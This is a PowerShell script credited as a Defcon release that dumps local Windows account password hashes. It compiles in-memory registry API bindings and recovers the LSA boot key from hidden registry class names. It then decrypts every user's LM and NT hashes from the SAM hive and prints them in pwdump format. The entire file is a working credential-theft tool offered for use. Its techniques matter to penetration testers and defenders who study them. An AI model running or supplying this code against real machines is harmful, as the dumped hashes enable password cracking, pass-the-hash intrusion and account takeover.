#
# PowerShell CreateCmd Bypass by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K)
# Defcon Release
#
#
#
function LoadApi
{
    $oldErrorAction = $global:ErrorActionPreference;
    $global:ErrorActionPreference = "SilentlyContinue";
    $test = [PowerDump.Native];
    $global:ErrorActionPreference = $oldErrorAction;
    if ($test) 
    {
        # already loaded
        return; 
     }

$code = @'
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;

namespace PowerDump
{
    public class Native
    {
    [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
     public static extern int RegOpenKeyEx(
        int hKey,
        string subKey,
        int ulOptions,
        int samDesired,
        out int hkResult);

    [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
    extern public static int RegEnumKeyEx(
        int hkey,
        int index,
        StringBuilder lpName,
        ref int lpcbName,
        int reserved,
        StringBuilder lpClass,
        ref int lpcbClass,
        out long lpftLastWriteTime);

    [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
    extern public static int RegQueryInfoKey(
        int hkey,
        StringBuilder lpClass,
        ref int lpcbClass,
        int lpReserved,
        out int lpcSubKeys,
        out int lpcbMaxSubKeyLen,
        out int lpcbMaxClassLen,
        out int lpcValues,
        out int lpcbMaxValueNameLen,
        out int lpcbMaxValueLen,
        out int lpcbSecurityDescriptor,
        IntPtr lpftLastWriteTime);

    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern int RegCloseKey(
        int hKey);

        }
    } // end namespace PowerDump

    public class Shift {
        public static int   Right(int x,   int count) { return x >> count; }
        public static uint  Right(uint x,  int count) { return x >> count; }
        public static long  Right(long x,  int count) { return x >> count; }
        public static ulong Right(ulong x, int count) { return x >> count; }
        public static int    Left(int x,   int count) { return x << count; }
        public static uint   Left(uint x,  int count) { return x << count; }
        public static long   Left(long x,  int count) { return x << count; }
        public static ulong  Left(ulong x, int count) { return x << count; }
    }
'@

   $provider = New-Object Microsoft.CSharp.CSharpCodeProvider
   $dllName = [PsObject].Assembly.Location
   $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
   $assemblies = @("System.dll", $dllName)
   $compilerParameters.ReferencedAssemblies.AddRange($assemblies)
   $compilerParameters.GenerateInMemory = $true
   $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
   if($compilerResults.Errors.Count -gt 0) {
     $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
   }

}

$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);

function sid_to_key($sid)
{
    $s1 = @();
    $s1 += [char]($sid -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
    $s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
    $s1 += $s1[0];
    $s1 += $s1[1];
    $s1 += $s1[2];
    $s2 = @();
    $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
    $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
    return ,((str_to_key $s1),(str_to_key $s2));
}

function str_to_key($s)
{
    $key = @();
    $key += [Shift]::Right([int]($s[0]), 1 );
    $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
    $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
    $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
    $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
    $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
    $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
    $key += $([int]($s[6]) -band 0x7F);
    0..7 | %{
        $key[$_] = [Shift]::Left($key[$_], 1);
        $key[$_] = $odd_parity[$key[$_]];
        }
    return ,$key;
}

function NewRC4([byte[]]$key)
{
    return new-object Object |
    Add-Member NoteProperty key $key -PassThru |
    Add-Member NoteProperty S $null -PassThru |
    Add-Member ScriptMethod init {
        if (-not $this.S)
        {
            [byte[]]$this.S = 0..255;
            0..255 | % -begin{[long]$j=0;}{
                $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
                $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
                }
        }
    } -PassThru |
    Add-Member ScriptMethod "encrypt" {
        $data = $args[0];
        $this.init();
        $outbuf = new-object byte[] $($data.Length);
        $S2 = $this.S[0..$this.S.Length];
        0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
            $i = ($i+1) % $S2.Length;
            $j = ($j + $S2[$i]) % $S2.Length;
            $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
            $a = $data[$_];
            $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
            $outbuf[$_] = ($a -bxor $b);
        }
        return ,$outbuf;
    } -PassThru
}

function des_encrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $true)
}

function des_decrypt([byte[]]$data, [byte[]]$key)
{
    return ,(des_transform $data $key $false)
}

function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
{
    $des = new-object Security.Cryptography.DESCryptoServiceProvider;
    $des.Mode = [Security.Cryptography.CipherMode]::ECB;
    $des.Padding = [Security.Cryptography.PaddingMode]::None;
    $des.Key = $key;
    $des.IV = $key;
    $transform = $null;
    if ($doEncrypt) {$transform = $des.CreateEncryptor();}
    else{$transform = $des.CreateDecryptor();}
    $result = $transform.TransformFinalBlock($data, 0, $data.Length);
    return ,$result;
}

function Get-RegKeyClass([string]$key, [string]$subkey)
{
    switch ($Key) {
        "HKCR" { $nKey = 0x80000000} #HK Classes Root
        "HKCU" { $nKey = 0x80000001} #HK Current User
        "HKLM" { $nKey = 0x80000002} #HK Local Machine
        "HKU"  { $nKey = 0x80000003} #HK Users
        "HKCC" { $nKey = 0x80000005} #HK Current Config
        default { 
            throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
        }
    }
    $KEYQUERYVALUE = 0x1;
    $KEYREAD = 0x19;
    $KEYALLACCESS = 0x3F;
    $result = "";
    [int]$hkey=0
    if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
    {
    	$classVal = New-Object Text.Stringbuilder 1024
    	[int]$len = 1024
    	if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
    		[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
    	{
    		$result = $classVal.ToString()
    	}
    	else
    	{
    		Write-Error "RegQueryInfoKey failed";
    	}	
    	[PowerDump.Native]::RegCloseKey($hkey) | Out-Null
    }
    else
    {
    	Write-Error "Cannot open key";
    }
    return $result;
}

function Get-BootKey
{
    $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
    $b = new-object byte[] $($s.Length/2);
    0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
    $b2 = new-object byte[] 16;
    0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
    return ,$b2;
}

function Get-HBootKey
{
    param([byte[]]$bootkey);
    $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
    $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
    $k = Get-Item HKLM:\SAM\SAM\Domains\Account;
    if (-not $k) {return $null}
    [byte[]]$F = $k.GetValue("F");
    if (-not $F) {return $null}
    $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
    $rc4 = NewRC4 $rc4key;
    return ,($rc4.encrypt($F[0x80..0x9F]));
}

function Get-UserName([byte[]]$V)
{
    if (-not $V) {return $null};
    $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
    $len = [BitConverter]::ToInt32($V[0x10..0x13],0);
    return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
}

function Get-UserHashes($u, [byte[]]$hbootkey)
{
    [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
    
    # check if hashes exist (if byte memory equals to 20, then we've got a hash)
    $LM_exists = $false;
    $NT_exists = $false;
    # LM header check
    if ($u.V[0xa0..0xa3] -eq 20)
    {
        $LM_exists = $true;
    }
    # NT header check
    elseif ($u.V[0xac..0xaf] -eq 20)
    {
        $NT_exists = $true;
    }

    if ($LM_exists -eq $true)
    {
        $lm_hash_offset = $u.HashOffset + 4;
        $nt_hash_offset = $u.HashOffset + 8 + 0x10;
        $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
        $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
	
    elseif ($NT_exists -eq $true)
    {
        $nt_hash_offset = $u.HashOffset + 8;
        $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
    }
    return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
}

function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
{
    [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
    # LM Hash
    if ($enc_lm_hash)
    {    
        $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
    }
    
    # NT Hash
    if ($enc_nt_hash)
    {
        $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
    }

    return ,($lmhash,$nthash)
}

function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
{
    $deskeys = sid_to_key $rid;
    $md5 = [Security.Cryptography.MD5]::Create();
    $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
    $rc4 = NewRC4 $rc4_key;
    $obfkey = $rc4.encrypt($enc_hash);
    $hash = (des_decrypt  $obfkey[0..7] $deskeys[0]) + 
        (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
    return ,$hash;
}

function Get-UserKeys
{
    ls HKLM:\SAM\SAM\Domains\Account\Users | 
        where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | 
            Add-Member AliasProperty KeyName PSChildName -PassThru |
            Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
            Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
            Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
}

function DumpHashes
{
    LoadApi
    $bootkey = Get-BootKey;
    $hbootKey = Get-HBootKey $bootkey;
    Get-UserKeys | %{
        $hashes = Get-UserHashes $_ $hBootKey;
        "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, 
            [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), 
            [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
    }
}
DumpHashes
